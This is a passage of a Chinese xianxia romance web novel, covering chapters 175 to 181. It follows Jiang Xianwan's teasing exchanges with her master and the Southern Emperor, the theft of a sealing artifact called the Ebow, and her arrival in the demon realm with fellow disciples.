逶逶弥散的衣袍,游丝金银,流水般蒙上一层流动的柔光,宽大的衣袖滑落肘间,堆叠出层层柔软云纹,露出清瘦骨腕。 墨色的发,宛若上好的绸缎,几乎与黑色衣料融为一体。 仿佛墨痕慵懒的晕染在雨幕画卷。 看不尽容貌,却仍能从半张侧脸窥得倾世的好颜色。 全然放松的陷在竹椅中,一条修直的腿微微屈起,另一条腿则慵懒的伸直,指尖捏了颗荔枝,闲散舒坦。 仿佛,他才是这院落中的主人。 不是苏清流,不是白子夜,不是林玉锦,不是凤仪剑尊。 秦秦的思绪一下空白。 他努力收回视线,勉强扯出一点笑意,自己都不知道自己说了什么,转身渐渐消失在夜色中。 恍惚的视线触及到一抹青衣,手执青伞朝他走来,愈发魂不守舍,甚至忘了见礼,与目不斜视的男人擦身而过。 江献晚合上门,顶着细密的雨线,小跑回凉亭。 语气多了两分幽怨。 “不是让您别出声吗?” 秦师兄估计怎么都想不到,大晚上她院子里藏了一个……男人。 江献晚有些头疼,恹恹地蹬掉鞋子,盘腿在蒲团坐下。 云为泽剥着荔枝的手微微一顿,将果肉放回盘中,手肘抵着竹椅,手支颐着下颌,目光落在她洇着一层雾气的发丝上。 江献晚穿的随意,兴许是在自己的院子,乌发用骨簪胡乱一挽,青丝淌过纤长的颈,披落于身后,瀑布似的,衬的腰肢过分纤细。 难得着了身白裙,雪色的腰带缠了三圈,露在衣裳外的肌肤白的压雪,容色却滟的似火。 云为泽视线点过裙角下粉嫩的足尖,眼中有一瞬间的晃动,指尖不动声色,悄然一弹,已经能很熟稔的将那些刚探出头的黑色花骨朵打回去。 “吾,正大光明。” “不似某人。” “藏着掖着。” 某人:“……” 心口接连中三箭,江献晚下意识想反驳,又憋屈地瞅了一眼天。 好好好,她藏着,她掖着。 够了。 难不成要她去棺材板里挖两个男人出来,给他们瞧,说,这就是另外那两个? 离了大谱。 却听,云为泽又轻笑道:“我说的对吧?” 江献晚又想反驳,但听背后传来一道幽沉而淡漠的嗓音,“自是不错。” 她瞬间又双叒叕把皮给绷紧了。 花不休一袭青衣,神色懒倦,正合了伞,搁下。 江献晚强忍着拔腿跑的冲动,起身,睫毛心虚一垂,根本不敢看,“师尊。” 不是不理她吗? 她爬了几次窗,花不休一一将她扫出去。 还在门外竖了个牌子。 如下: 孽徒与狗,不得入内。 江献晚想想都心累。 花不休不理她,兀自拢了衣袖,屈身在另一侧竹椅躺下。 睫毛蔫蔫一抬,落在荔枝上,仍旧一眼不看江献晚,“剥。” 江献晚:“……” 鉴于她暂时不想成为第一个把自个师尊气死的徒儿,江献晚默默盘腿坐回蒲团上,将盘子搁在膝头上,低头,开剥。 谁知,两兄弟,除了你一个,我一个,掐着点捏走她指尖次次刚剥好的荔枝,像是当坐在中间的她,不存在般,悠然聊起了天。 云为泽:“我记得,此时是弟子宵禁时间?” 花不休看着指尖荔枝肉,须臾,咬下,“你定的你问我?” 云为泽捏走江献晚刚剥好的荔枝:“唔。” 花不休:“来做什么?” 云为泽:“你问我,还是他?” 花不休捏走江献晚刚剥好的荔枝:“……” 云为泽:“自然,看某人。” 花不休:“……” 听到这里,江献晚脊背慢慢挺直。 花不休:“可真闲。” 云为泽:“……” 云为泽:“是挺闲。不像某些人,分身乏术。” 江献晚:“……?!” 花不休:“……” 江献晚微微挪动了一下身子。 花不休:“不说话没人把你当哑巴。” 云为泽:“……” 花不休淡淡道:“不过,你倒是可以学学某些人。” 云为泽勾唇笑:“学不了,只能哄一个。” 坐在两人中间的‘某些人’:“……” 这日子,没法过了! 第 176 章 两个都吃得下 拔腿想跑的冲动,有些难以按捺。 她腿刚动,两颗滚圆莹白的荔枝肉,阻了她的动作……喂在了她唇边。 江献晚:“……” 云为泽:“……” 花不休:“……” 空气一滞,江献晚表情一下子变得惊悚。 花不休与云为泽有些错愕。 三双视线齐齐无声落在那两颗荔枝肉上。 气氛陡然变得诡异而黏稠。 尤其云为泽,看着这熟悉的一幕,莫名生出些无力。 江献晚倒没余力赞叹这该死的熟悉一幕,眼瞅着两颗荔枝肉,像是看到了上百种剧毒糅合而成的毒丹,艰难地咽了一口口水。 她左扭头,瞅了一眼云为泽。 右扭头,又瞅了一眼花不休。 令她头皮发麻的是,云为泽在她看过去时,忽然朝她勾了勾唇,花不休碰上她的视线,亦是似笑非笑。 好大的……敌意。 尽是对她的针对。 见云为泽没动,花不休更是不动,各自举着荔枝,左右夹击,唇角皆噙着一抹邪恶笑意。 江献晚再次深深体会到了,这个世界对她的强烈敌意。 这俩,莫不是在荔枝肉上下了毒,想要毒死她吧? 闭了闭眼,张嘴,一口吃掉两个。 云为泽收回指尖,轻声笑了笑,“果然饿了,两个都吃的下。” 花不休微微偏着眸,看着江献晚鼓起的面颊,漫不经心淡淡道:“某人七个都吃的下,更何况两个。” 话落。 二人又是同时一僵。 在一片久久死寂的沉默后,各自慌乱的将视线从江献晚唇瓣上狼狈的挪开。 江献晚:“……” 好吧。 她承认。 大家都是成年人。 她也想歪了。 不过,这两个,要阴阳怪气她到什么时候? 江献晚暗暗磨了一下牙。 先是偏头朝似乎很忙,低头弄衣袖的花不休,弯唇一笑,得意洋洋,“自然,区区七个,徒儿吃的下。” 行啊,屎盆子都扣脑袋上了,接下就接下。 不然都对不起这一盆子屎! 别说七个,就是再来七个,她都敢接着! 花不休一僵,再僵。 江献晚满意颔首,又扭过头,朝有些紧绷,轻轻咬着唇瓣的云为泽,咧嘴一笑,满含恶意,“帝尊,您还别说,弟子这会确实饿了。” “要不要奉献一下,弟子好让您再见识见识两个是怎么一起吃下的。” “弟子可是有很丰……唔!” 两只手一起火急火燎探来,懊恼的捂了她的嘴。 花不休再维持不了装出的淡然,眉心跳动,骂道:“孽徒!” 云为泽耳尖涌血,重重咬了一下唇肉,“江献晚!” 她怎么什么都说。 还想两个一块吃。 “唔……唔唔!” 他俩不就是这个意思吗? 反正都认定她有七个了,她承认了,还不行? 再说,七个都有了,她想吃几个吃几个。 江献晚一手掰一截骨腕,嚣张挑眉,模糊再道:“不行再喊……唔!” 花不休云为泽:“……” 两个都不够。 她还想……再喊几个? 两人生怕她再说出什么荤话,将她的嘴堵的密密实实,并拿小眼神剜她。 江献晚一个都掰不开,顺势躺到蒲团上,躲开两只手,无语道:“消气了?” 花不休和云为泽不说话,只一味盯她。 似乎,没消完。 一人翻她一个优雅的白眼,“流氓!” 而后,各自抓了些荔枝,款款起身,留下一桌果皮,施施然离开。 江献晚:“……”她流氓? 好在的是,经此一事,凤仪剑尊和南帝尊都恢复了正常。 接下来就剩没消气的狐狸,江献晚有十足的信心。 准备去妖域的时间,说短,不长。 徐燕洲传信两封,婉拒魔域和界域,想要将其他弟子塞过去。 被魔皇和三王一口拒绝,说,就要江献晚。 徐燕洲说界域有病,八成觉得江献晚好玩,魔域黄鼠狼给鸡拜年,没安好心。 江献晚得知此事,内心……毫无波澜,还忍不住点了个赞。 就月离这仨熊孩子,界域三王肯定有毛病,没跑。 非翎也确实没安好心,准确的来讲,满是色心。 整日在信道中强烈表示对她的望眼欲穿,她去了,跟羊入狼圈,洗干净送上,估计没区别。 然而,临行在即,却发生了意外,云为泽再次来时,江献晚刚断开和江行行的传音。 她望向月色下云衣逶逶,止步于那棵开的正浓的花树下的男子,心头涌上不安的感觉。 江献晚小跑过去,待看清他略显苍白的脸庞,下意识伸出手臂接住了他,“怎么回事?” 云为泽气息紊乱,强撑着想站直身,喉间猛然蹿上一股腥甜,搁在她肩上的下颌偏开,喷出一口血。 鼻尖瞬时充斥一股血的浓郁腥味,江献晚有些错愕,“帝尊。” 云为泽竟然……吐血了! “晚晚。” 云为泽笑了笑,“扶我……” 他话未说完,含糊的卡在喉间,喉结攒动着,眉更是蹙紧了。 江献晚心间一沉。 云为泽呼吸紊乱,连站立都难做到,全身的重量几乎都压在她身上。 他竟受了这般重的伤,谁伤的? 顾不上尴尬,抱紧他精瘦的腰身,承载着他的重量。 她这般一抱才发现,云为泽后背全是黏腻的潮湿。 不由得僵了一瞬。 “吓到了。”云为泽沙哑的声音里含着几分笑意,指尖溢出一抹微弱的灵力,拂尽她肩头的污血。 他强撑着站直身子,踉跄的靠在树上。 江献晚看着都疼,“帝尊,唐突了。” 云为泽还未想明白她为何忽然冒出这么一句,整个人陡然一轻,视线天旋地转。 云为泽:“……” 他一个大男人,就这么被一个细胳膊细腿的小姑娘打横抱了起来? 云为泽没动,浓墨般的眸落在江献晚的面庞,耳尖渐渐涌出一抹血色。 掩在袖中的指,慌乱的掐了好几次,才将地面忽然凭空涌出的黑色花骨朵给掐回去。 江献晚没有察觉,抱的很稳,一脚轻踢开门,将他放在床榻上。 云为泽下意识起身,被一只细白的手轻轻松松摁了回去。 “别动,自己伤多重心里没点数。” 第 177 章 厄弓 他伤的位置实在有碍观瞻。 江献晚瞥他一眼,“帝尊还知道男女有别,大晚上跑弟子院子,怎么不想想男女有别?” “让我开门,故意叫秦师兄看到,怎么没想过男女有别?” “又不是没一起睡过,这会儿男女有别了?” “您要不要再装一个?” 很好,四句话怼的南帝尊耳根子红透,悻悻垂下睫毛。 他也不知道自己最近都在做些什么,心底净想着争风吃醋的事儿,就像是被那没气度的狐狸和上蹿下跳的小贱魔传染了一样。 可他又有什么立扬做出一副想又不敢说的小气做派。 明明该回到他的潋浮台,回到空旷的殿中疗伤。 可看到院中一盏未熄的烛火,脚步一转,再回神,就来到了江献晚的院子里。 云为泽垂暗自懊恼的咬了一下唇肉,将这归咎为自己走顺了,后背蓦然一凉。 他反射般攥上江献晚的手腕,眸子里难得涌上一种天塌地陷的惊慌。 两腮以肉眼可见的速度,爬上一层绯靡的红晕。 “做什么?” 江献晚:“……” 她能做什么? 退一万步,他现在伤成这个样子,她能做什么? 江献晚手腕轻轻一拧,很轻易挣开他的桎梏,在那双眸子骤然睁得极大时,指尖若即若离点在那截优美的脊椎线上,缓慢的向下滑。 柔软的热度含蓄的隔着衣料,却如指拨琴弦,一股酥麻的电流直冲全身。 云为泽脑中轰地一响,瞳孔扩散到极致,十指猝然收拢,青色脉络突浮,像被人连抹带挑,狂风暴雨下的花枝,开始隐隐轻颤起来。 他死死咬着唇,额角渗汗,面颊红的滴血,涣散的瞳仁倒映着江献晚脚边骤然炸开的一片黑色花骨朵。 有几个悄悄伸展一片花瓣,试探着去触碰青色的裙边。 江献晚光顾着欣赏南帝尊难得一见的纯情模样了,没发现脚边颇为壮观的花海。 感受着指尖下的皮肉霎时绷的极紧,肉眼可见的战栗,慢慢俯下身,凑到他耳边。 学着他的模样,宛如吹霜花般,缓缓吐出一缕轻飘飘的气音,“当然是……给您老人家擦药啊。” 老、人、家? 云为泽仓皇的面色猛然一僵,表情坍塌,一片空白,堪堪触碰到江献晚裙角的黑色花朵,立刻如流沙似的随之顷刻消散。 他僵硬而缓慢的侧过眸,咬紧牙关,仿佛用尽全部力气,轻轻拽了拽江献晚。 许久,从牙缝里艰难地挤出几个字,“我不老。” “行行,您不老。”江献晚敷衍的点点头。 云为泽当然不老,长的那叫一个如花似玉,妙极。 她直起身,满意地欣赏被衣袍包裹,隐约蓄足力量,恰到好处的背部肌肉线条,颇有种衣裳遮住了狂暴的温润。 扒干净他的上衣,落在他腰臀处,犹豫了一下,“要不,再往下脱点?” 她倒没害羞,又不是没摸过。 云为泽:“……” 江献晚已经两指很是干脆利落的一划拉,“怎么搞得?” 短短片刻,历经大起大落的南帝尊,宛如被瀑雨打湿的花苞,脱力般将面颊埋回枕间。 声音恹恹,有气无力,“虚古境异兽暴动,灵塔坍塌,不小心撞到的。” 江献晚蹙眉。 异兽暴动。 灵塔坍塌。 是怎样的暴动,才能将云为泽逼到躲不过去,又一副灵力透支的模样。 他们大赛时,也只是在外围,离虚古境中心还远。 这是……内外围的异兽全暴动了? 玄古大赛时明明还很正常,没有什么异样。 江献晚没急着问,喂在他唇边两颗丹药,取了水,清洗他满背的血污。 听着男人喉间溢出的压抑闷哼,小脸后知后觉有点热。 不得不说,几处伤口横贯在线条凌厉的腰背,颇有种战损美人那味了,让人看的有种想要做点什么的冲动。 察觉到走歪的思绪,江献晚暗暗唾弃了自己一秒,取了药膏细细涂抹。 想了想,体贴的拉上他的裤腰,退到屏风外。 “先换一换衣裳吧。” 南帝尊的龟毛绝不亚于北帝尊。 里面沉默了一会儿,云为泽模糊地应声,悉悉索索的声音渐渐消失,过了片刻,男人着黑裳,转脚走出屏风。 江献晚扶他在软椅上坐下,云为泽脸上的血色好歹回涌了些,没有方才白的那般骇人。 换了干净衣衫,眉眼也舒展开,倦倦地侧躺在软椅上,根本看不出受过伤的样子,开始使唤人。 “想喝热茶。” “还要荔枝。” 江献晚:“……” 云为泽见她不动,显然将刚才的话深深放心上了,眉眼都黯淡几分,“你不是说我是老人家吗?” 他老吗? 他真的……很老吗? 江献晚看着怀疑人生,偷偷摸了一下自己脸的南帝尊,心中涌出为数不多的自我谴责。 乖乖倒了杯茶,搁他手中,捏起荔枝,认命开剥。 云为泽吃了两颗,掀起乌睫,兴许确定自己脸蛋仍是光滑细腻,唇边浅淡的笑意重新花枝招展,“想听吗?” 江献晚:“……” 撤回正要递给他的荔枝,塞进自己口中。 云为泽被她的样子愉悦到,笑着笑着,似乎牵动内伤,修长的手指掩在唇边。 “我出去了一趟。” 江献晚:“……?” 不然呢? 你还能在家受伤? “哥和帝隐也同去了。” 江献晚下意识扫了一眼窗棂。 “他没来。” 云为泽看着她傻样,有被笑到,捡起一颗荔枝,“虚古境现下暂时无事,帝隐回了北境。” “我哥晚些回,他……应当同你说了。” 他走时,凤仪盘腿坐在阵眼位置,摸出玉简,似乎在同谁发信息。 凤仪能同谁发信息? 他这个做弟的还能猜不出? 除了他那个孽徒。 江献晚找出玉简,果然有花不休的传音:“虚古境异动,晚些回。” 云为泽凑近去看,一副了然之色。 “异动。”江献晚漆黑的眸色淡下来,若有所思,“虚古境怎么会忽然异动?” 云为泽将荔枝肉喂进她口中,眉眼间笑意渐渐散去,“有人取走了厄弓。” 第 178 章 会打了南北两境的脸 虚古境死去的人魔妖太多,且都有一种气,杀者增长杀气,被杀者生出怨气戾气。 这三种气扬交织,导致虚古境死气充斥,迅速走向一个无法存活的深渊。 后来,因厄弓与灵塔作用,勉强繁衍出不少异兽。 异兽暴动却不是最紧要的。 那些因死气滋生的怨灵,相互吞噬,曾诞出一只最强怨灵,就连他们都难以压制。 也是偶然发现厄弓仿佛对其有天然的克制。 那只最强的怨灵尤甚,像是对厄弓有种骨子里的畏惧。 便将其作为连接数座灵塔的阵眼,净化大战后死气冲天的尸骨。 厄弓戾气极重,死于其下的生灵数以万计,以杀止杀,再合适不过。 现下,厄弓失,灵塔损毁几座,怨灵短短时间力量重新滋长。 幸而发现的及时,那些未灭未坍塌的灵塔支撑了半日,死气才没有溢出,却也催使了兽潮爆发。 帝隐强行镇压异兽,他与凤仪耗尽灵力将熄灭的灵塔点亮,加固封印。 否则,死气漫出,充塞虚古境,就不单单是异兽暴动那么简单了。 至于厄弓,此人竟能悄无声息穿过结界,进入虚古境取走厄弓,抽取灵塔之力,来去自如,着实诡异。 这世间,他真想不出会是谁,能有这般能力。 云为泽声音渐沉,眉眼尽是冷峭之色。 江献晚眼帘半阖,眉蹙的愈发紧。 除了拥有系统挂逼的女主,还能有谁? 林轻染取走厄弓,又想做什么? 可以看得出,厄弓对于虚古境来说,是目前必不可失的东西,比那些灵塔还要重要。 她正欲开口,却听云为泽忽然轻声道:“你不问问他怎么样了?” 江献晚抬眸,对上一双三分促狭的眸子,有些无奈,“他怎么样了?” 心里那种不好的感觉更浓了。 帝隐也受伤了? 云为泽觑她神色,指尖在胸膛轻轻一比划,贯穿腹部,“带着伤,孤家寡人回了万古宗。” “哦。”江献晚抿了抿唇。 心想:你不也是孤家寡人? 又问,“没了厄弓会发生什么?” 云为泽似乎被她的态度噎住了,以为她听到帝隐受伤,怎么也会忧心两分。 不过,想到厄弓被盗,含笑的声音不自觉染上几分凉意。 “会打了南北两境的脸。” 或许,还会使两境三域再次大乱。 但他并不想在此刻说这些,让即将去妖域的江献晚跟着平添忧心。 江献晚:“……疼吗?” “……你说呢?” 江献晚深深看他一眼,“我觉得挺疼的。” 云为泽喉间溢出一声愉悦轻笑,不知不觉冲淡心底的糟心。 “晚晚啊。” 想到什么,又拧眉,“我离开时见到了雾渺。” “嗯?”江献晚被勾起一点好奇心,云为泽提到他,肯定有原因。 果然,云为泽神色渐渐变得古怪,“他似乎有些不对劲。” “怎么个不对?” 云为泽睫毛轻落,手支着下颌,眯眸仔细回想了一下,努力措辞到位。 “像被人强行摁在枕席间羞辱了三日三夜般,摇摇欲坠的。” 江献晚:“……”这是什么奇奇怪怪的形容。 难得啊,雾渺向来云卷云舒,闲庭看花一般的人,该是有多不对,才能摇摇欲坠。 不过,她现在有更重要的话要问。 “你可知……” 她袖中玉简突然响了一声,云为泽低眸,示意她先看。 江献晚看了一眼,便轻轻一挑眉。 “帝隐说了什么?”他不用看,也知道是帝隐。 这人现在一点事,都要同江献晚交待的清清楚楚。 江献晚指尖摩挲过玉简,“他说他方才亲自搜了林轻染的神识,并无异常,也未查寻到厄弓的下落。林轻染这些日被关在禁地中,一直在昏迷,且有弟子日夜看守。” 神识是修士最薄弱的地方,强行搜查,很容易造成痴傻。 被雾渺搜查过,今日又被帝隐仔细搜查一番,能正常活下来,还真是顽强。 说到这里,江献晚神色亦是有些古怪。 大赛结束,帝隐曾对她说过这些事。 帝隐根本没想着给林轻染留活路。 雾渺竟也对林轻染没那种心思,手段那叫一个强硬,丝毫不拖泥带水。 只不过,林轻染被他探查过神识后,雾渺突然一反既往,求帝隐留林轻染一命,跪在巫云殿前,却不说缘由。 恐怕,雾渺和林轻染之间发生了什么,不得不保全她性命。 联想到云为泽说他摇摇欲坠,江献晚大约猜出了一些。 果然,有女主环绕身侧,雾渺的命运还是坎坷了起来。 有玄古大赛的兽潮在先,云为泽自然也是怀疑。 能坐到帝尊这个位置,手腕能力,可想而知。 他眉心微敛,“你觉得她有可能吗?” 若是,帝隐竟探不出一二。 江献晚望进他一双墨色的眼眸,“若我说,不是有可能,就是她,你信吗?” 云为泽微怔,却下意识颔首,“自然信。” 江献晚:“……”那她说她没七个男人怎么就没人信。 一边回帝隐信息,一边对拿小眼神认真琢磨她的南帝尊,无奈叹气,“帝尊,收收您的目光,您现在的样子,好像在看什么很厉害的邪祟。” 她轻轻咬过云为泽喂来的荔枝,见他睫毛笑的簌簌的颤,胡乱捏了颗带皮的荔枝塞他口中,“我只知道林轻染身上有种东西很棘手,你们探查不出,也很难杀得了她。” “虚古境异动,她暂时还不能死。” 有系统在,气运加身,林轻染不会这么轻易死掉。 能在那些弟子的眼皮子底下,神不知鬼不觉脱身,短时间内往返虚古境,干出这么多事,还不被发现任何异常,可想而知,系统有多变态。 若是将对方逼急了,指不定会做出什么生灵涂炭,全赴黄泉之事。 就算杀死林轻染,以系统的能力,恐怕也会逃脱,斩草除根的道理,她懂。 林轻染不足为惧,背后的系统却是心头一大患。 这两个取走厄弓,不是想致使生灵涂炭,就是拿厄弓有其他事要做。 两境三域若是乱开,对这俩大约没什么好处,江献晚觉得,后者的可能性会大一点。 第 179 章 云为泽 系统如此对林轻染掏心掏肺,若说没有半点私心,江献晚都不信。 而且,她总觉得自己跟林轻染,亦或者,跟系统有种不解之缘。 既然如此,那便等蛇出洞,这俩玩意儿,一个都不能留。 江献晚并不担心帝隐和雾渺搜查林轻染的神识,会打草惊蛇,厄弓这么重要的东西都敢拿走,想干的事肯定会干。 这俩胆儿大,就算知道被怀疑,想来也不会在乎。 “虚古境可以撑多久?” 云为泽看着她指尖点出要帝隐放林轻染出禁地的文字,心领神会。 “无妨,有我与帝隐和哥,一时半会儿闹不出乱子。” 他托着腮,眸光不自知的黏在江献晚面颊,是自己都未察觉到的放松,还有大约可以称得上……崇拜的潋滟光泽。 林轻染对江献晚的敌意,从前只觉得莫名其妙,现在看来,这些敌意和针对,她身后的东西亦是功不可没。 可想而知,定是觉得江献晚在某些方面挡了他俩的路,云为泽忽然觉得有些看不透江献晚。 可以知道的是,江献晚真的很厉害。 他觉得,只要有江献晚在,林轻染和她身后的邪祟,做什么事都不会成功的。 或许,很快,她会成为就算他这个帝尊,也想要仰望的人。 这些想法,不知不觉,冲散心底的愁绪,还有担心江献晚会受到伤害的紧张。 唇瓣忽然一动,不假思索,“我没有与你出气,你会不会觉得我这个帝尊很没用?” 他脱口而出,再回味,竟觉得…… 云为泽蜷了蜷指尖,缩回袖中,睫毛也躲闪似的垂落。 江献晚被拉回思绪,从玉简上微微侧目,诧异地道:“不会啊。” “掌门凶啊,老护犊子了,还有铁长老他们,骂的可难听了,你还不如关心关心他们的精神状态。” 一提起万古宗,变脸似的,刷地一下,雀黑,恶心的饭都吃不下去。 她还听到徐燕洲谈及大赛时,带着一群长老骂骂咧咧,“王八羔子!不要脸的王八羔子!” “下辈子投进畜生道!” 云云。 她从来没听到过那么多,还不重复的脏话,听的都想鼓两下掌,简直刷新她对掌门长老的认知。 江献晚显摆似的晃晃手指,“不是我吹,我三个师兄一人一口唾沫,就能喷死她。” “她可欺负不了我。” 再说,堂堂帝尊,对一个小弟子出手,多掉身价啊。 她自个都能吊打。 南帝尊怎么可能无用? 大材当然更不能小用。 云为泽听了一会儿,始终没听到,神色恹恹的垂落眸子。 很好,他干什么多这个嘴。 真是。 阔袖拂过她面颊,慢吞吞起身,“烦,回去睡了,明日还有的忙。” 江献晚捉住他的衣袖,“等一下。” 她将脖颈中的丝线扯出来,塞进他手中,“灵塔重建,灵石灵脉必不可缺。” 虚古境坏了根基,灵力聊胜于无,全靠灵塔支撑,而灵塔运转,压制死气,必然少不了灵石灵脉这些东西作为填充。 云为泽此刻回宗,八成是因为此事。 太虚宗看似大气磅礴,资源并不短缺,不过,从掌门长老抠抠搜搜的小细节,不难发现。 他们苦了自个,也不愿苦了弟子。 天青宗和道明宗从上到下更是穷的可怜,可想而知,都在为虚古境重开之日努力。 大赛结束,在酒楼庆祝时,江行行将这些芥子串成了项链,偷偷挂在她脖儿上,说给娘亲的。 江献晚没想过要儿子的东西,抵不住江行行非给,不要不行。 她守着这么东西用也用不完,现下灵塔需要重建,十几条灵脉,定然能暂时替换厄弓的作用,不至于短时间内出现问题。 云为泽刚摸到掌心那条串着一串空间芥子的红绳,还未看清,想都不想,几乎是着急,挂回她脖中,“浑说什么。” “我多的是。” 他拿江献晚和江行行的东西,算什么男人。 “我先回……” “你非要跟我分的这么清?”江献晚打断他,反手握上他的手腕,“云为泽。” 他自个就给了江行行三条灵脉的见面礼,其他的,更不必说,一看便是没有保留。 想到非翎和花美人同样庞大可观的见面礼,恐怕各个家底都掏空了。 她又如何心安理得的享受,不与他们患难与共。 守着这些死物又有什么意思。 云为泽一僵,煞然转身。 他从未听过江献晚喊他名字,每次都是很有距离的帝尊帝尊,还有从不落下的敬称。 这般轻轻砸在耳畔的三个字,仿佛带着无法言说的亲密距离,让他心跳加速,不知所措立在原地。 江献晚看他难得全然呆愣的模样,唇弯了弯,忍着笑,将红绳挂在他脖颈上,“好了,又不是给你的,就当为两境做点小贡献。” 云为泽立在烛晕中,看着她眼睛里的点点促狭,眸光渐渐恍惚。 眉目一低,落在颈项垂落的一串空间芥子,忽然抬手,捏了捏她的脸颊,唇角漾出一丝丝莞尔笑意,“灵脉我收下,其他用不上。” 他心底此刻竟有种说不出的亏欠,顿了顿,轻声道:“以后,我补给你和行行。” 以后,所有的,都给她,还有行行。 此时月轮薄薄悬浮于空,淌过窗棂,留下溪流般的印痕,将盘腿坐在蒲团上,点评各种宝物的两道身影微微拉长。 —— 兴许怕引起恐慌,虚古境异动一事被压了下来,只有两境六宗高层和少数亲传知晓。 南北六宗各自出了两位长老,前往虚古境,太虚宗去的是铁长老和刘长老。 而两境三域交换弟子一事,也就在明日。 虽然知道眼下只能等着,江献晚还是有些犹豫,徐燕洲说无事,尽管放心去,这也是帝尊和剑尊特意交待的。 这个她是知道的,花不休和云为泽都同她说了,让她玩的开心。 不用想也明白,他俩是考虑到江行行的。 江献晚想了想,放下心来。 只不过,大师兄和二师兄,被扣了下来,同时云霄和秦秦,充作苦力,重建损毁的灵塔。 第 180 章 妖域 林玉锦同样不放心,被徐燕洲一脚踹了出去,让他俩少添乱,赶紧滚蛋。 对此,林玉锦瘪瘪嘴,很不服气,“掌门看不起谁呢!” 不过,想到什么,又开心起来,“爽啊!老大老二都不在,我就可以紧紧抓住这次机会,让行行最喜欢我这个小师伯!” 江献晚拍拍他的肩,“那你还真是努力。” 交换弟子的名额便落在了他俩身上。 临行时,徐燕洲就显得有些啰嗦,一再叮嘱,让他俩悠着点闹挺,别把妖域给搅成一锅粥了。 “搅成粥好啊,搅成粥刚好喝了。” 得到徐燕洲的一记瞪眼,林玉锦摸了摸耳朵,一拉江献晚,跳到云舟上。 徒留徐燕洲气的直骂兔崽子。 与此同时,除了无人问津的北境,三域交换弟子,亦是今日出发。 她垂着眸子回帝隐信息,肩被何未语揽了过去。 天青宗来的是何未语,和其他三位面庞生的弟子,道明宗来的是修言,另外两人也不认识,但这并不影响他们迅速打成一片,融为一个小团体。 他们揽肩挤在云舟边缘挥手告别喋喋不休的徐燕洲,便踏上了妖域之行。 十日后,摇摇晃晃,快要散架的云舟,终于抵达妖域边界。 在看到掩在绵延起伏,重山浓绿中的妖域,各个眼泪汪汪,恨不能立刻蹦下去。 林玉锦半个身子探出云舟,吐的死去活来,“哕!什么凌霄飞舟,你开飞舟的技术是跟狗学的吧!” 修言胃中一阵恶心,哕地一声,狂奔过去,“人家也是第一次嘛!” 刚张开手臂,准备大吸一口新鲜空气的江献晚猛地屏住呼吸。 三秒后:“哕。” 颠簸十来日,何未语脸色也很苍白,一边抚着江献晚的脊背,瞪了一眼哇哇吐的两个,声音难得严厉:“咽回去!” 林玉锦修言:“……” 江献晚:“哕——!” 妖域边界,狼太灰正蹲在树杈上,拿手挡着光,望眼欲穿的张望那艘愈来愈清晰的云舟。 几个身影热情地探出半边身子,嘴里哇哇大叫。 狼太灰看的一阵激动,大尾巴得意的狂甩,扭头对底下站着的白羽炫耀道:“看见没,他们肯定是看见我才开心坏了,你看他们各个迫不及待的样子,就差蹦下来了。” 白羽:“……” 默默看向玄龟背上,已经忍不住伸出两条小胳膊,大眼睛忽闪忽闪的江行行。 他真的一点不想跟傻子说话。 蹲在狼太灰身后的豹冲眯着眼睛,努力远眺,随后,古怪地看向面前尾巴狂扫,狼耳时不时抖动的少年。 很想提醒一句:有没有一种可能,他们是晕舟,在哇哇吐? 林玉锦胆汁都快要吐出来了,塞嘴里一颗丹药,端着茶水,“小师妹,来,漱漱口。” 江献晚就着他的手漱了漱口,又喝了两杯水,面颊血色渐渐回涌,在云舟堪堪停在半空中,望见一个小小的身影,迫不及待地纵身跃下。 林玉锦将茶盏随手一丢,单手撑在云舟上,紧随其后。 一时间,跟下饺子似的。 他们的热情……瞬间感染了狼太灰。 狼太灰激动地一甩大尾巴,纵身一跃,掠过迈开四条短腿的玄龟,在空中划出好看的弧度。 一个狼扑,张开双臂,“亲爱的小伙伴!我来嗷——!” 林玉锦和江献晚茫然的站在原地,望着一条醒目的横幅,还有长着翅膀尾巴,头顶毛绒兽耳的各种妖。 再看以一种极快的速度,流星般一头扎过来的玄龟。 林玉锦大惊失色,“怎么有狗叫?” 白羽同情地看向他们的脚下。 狼太灰艰难地举起一只手,“是我,你们踩我尾巴了。” 白羽:“……”平常骂你一句狗,都龇牙,现在学会举手认领了? 江献晚低头,挪开一步,“啊,抱歉抱歉!我没看见。” 林玉锦更是夸张,嗷地一声,跳开,“狼兄!” “嗷——!”狼太灰猛地仰起脖子,两手痛苦的狂挠青草,“兄弟,你踩我尾巴尖了!” “啊!对不起!对不起!对不起!” 白羽:“……” 他看的清楚,林玉锦两脚都是故意的。 至于江献晚,他觉得跟他家殿下能成一家子的,也不是什么好人。 林玉锦七手八脚扶起狼太灰,又是握手,又是揽肩,嘘寒问暖,无微不至,忙的不得了。 不知道的还以为,这俩是同父同母的亲兄弟。 修言和何未语带着其他小伙伴,很熟练的扑过去,抓上那些懵逼的妖,问候群众似的,一一打招呼。 江献晚唇角的笑意压不住,视线落在来到跟前,朝她伸出手的江行行。 默默吸一口气,轻掐着他,高高举起。 “行行。” 又是分别多日,闻到熟悉的香味,江行行琉璃似的大眼睛瞬间蓄满了泪水。 他小手紧紧抱着江献晚的脖子,小脸埋在她颈间,蹭了蹭湿漉漉的睫毛。 “娘亲。” 小小的一声。 淹没在何未语他们热情的寒暄中。 狼太灰两只手被林玉锦抓的死死的,忙里抽闲瞅了一眼江献晚。 见她和风行行亲昵的蹭蹭贴贴,笑的咯咯响,有点不放心。 这小娃娃跟他那个死狐狸爹一样,可会凭着一张脸,讨女的欢心了。 他死命挣脱开林玉锦,凑到江献晚耳边,两只眼睛瞪着江行行,小声提醒。 “你最好离他远点,风回雪看他跟眼珠子似的,看见那玄龟了吗?它其实跑的比我都快,王八壳硬的我爹都敲不开,发起脾气嘴能张这么大。” 玄龟慢悠悠扭头,狼太灰挺了挺胸膛,梗着脖子瞪回去。 江行行:“……大黑的嘴没有那么大,你在骗人。” 白羽:“……”那是它没在你面前张那么大嘴。 狼太灰撇撇嘴,“拉倒吧你,它吃东西的时候那是你没看见!” 昨天还当着他的面一口吞下一条大蟒,嗖地一下,快的跟他妈闪电似的,踩着他的尾巴就过去了。 他被撞的原地转了三圈,摔了个狗吃屎。 甚至觉得,这死王八想吃的不是蟒,而是……他! 第 181 章 野生动物园 也不知道怎么想的,上赶着被江行行骑来骑去,夜里睡觉也要跟着。 风回雪说起这件事的时候都觉得,这龟……有点变态在身上的。 本在某个湖底沉睡了不知多少年,雷打不动。 